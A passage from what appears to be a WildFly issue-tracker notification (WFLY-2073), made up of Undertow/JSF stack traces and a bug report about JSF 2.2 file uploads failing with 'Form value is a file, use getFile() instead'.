	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]

22:46:04,344 ERROR [io.undertow.request] (default task-3) Servlet request failed HttpServerExchange{ POST /doctor/doctorUpdates.xhtml}: javax.servlet.ServletException: UT000017: Form value is a file, use getFile() instead
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	... 42 more


    
> Uploading a file using JSF 2.2 throws an exception
> --------------------------------------------------
>
>                 Key: WFLY-2073
>                 URL: https://issues.jboss.org/browse/WFLY-2073
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Ubuntu OS 64 bit, Java 7 (java version "1.7.0_40"), JSF version 2.2.1, JSF vender JBoss by Red Hat
>            Reporter: alexandre xypas
>            Assignee: Stuart Douglas
>              Labels: servlet, undertow
>
> Using JSF 2.2, the following should work:
> <h:form enctype="multipart/form-data">
>       <h:inputFile value="#{bean.file}" required="true">
>            <f:ajax listener="#{bean.handleFileUploadAjax}" render="@form" />
>       </h:inputFile>
>       <h:messages />
>  </h:form>
> With the bean:
>         private Part file; // +GET/SET
> 	public void handleFileUploadAjax(AjaxBehaviorEvent event) {
> 	    System.out.println("file size: " + part.getSize());
> 	    System.out.println("file type: " + part.getContentType());
> 	    System.out.println("file info: " + part.getHeader("Content-Disposition"));
> 	}
> The problem remains without using Ajax.
> but throws the following exception when a file is uploaded:
> 22:46:04,333 WARNING [javax.enterprise.resource.webcontainer.jsf.lifecycle] (default task-3) UT000017: Form value is a file, use getFile() instead: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
> 	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
> 	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> 22:46:04,344 ERROR [io.undertow.request] (default task-3) Servlet request failed HttpServerExchange{ POST /doctor/doctorUpdates.xhtml}: javax.servlet.ServletException: UT000017: Form value is a file, use getFile() instead
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
> 	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
